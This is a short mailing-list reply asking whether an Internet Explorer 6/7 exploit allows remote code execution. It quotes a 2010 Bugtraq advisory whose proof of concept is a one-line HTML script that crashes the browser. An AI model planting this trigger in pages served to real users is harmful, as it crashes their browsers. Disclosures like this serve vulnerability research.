RE: Microsoft IE 6&7 Crash Exploit

["Santhosh" <santgutz2000 () live com>]

Hi,

Can this exploit be used for remote code execution???

-Santhosh

-----Original Message-----
From: info () securitylab ir [mailto:info () securitylab ir] 
Sent: Tuesday, January 26, 2010 5:06 PM
To: bugtraq () securityfocus com
Subject: Microsoft IE 6&7 Crash Exploit

#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Microsoft IE
# Version: 6 & 7
# Tested on : XP(SP1/SP2/SP3)
#################################################################
# Vulnerability Info:
# Type: Crash
# Risk: Medium
#################################################################
Vulnerability:

IE.html
<script>document.createElement("html").outerHTML</script>
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran () yahoo com
###################################################################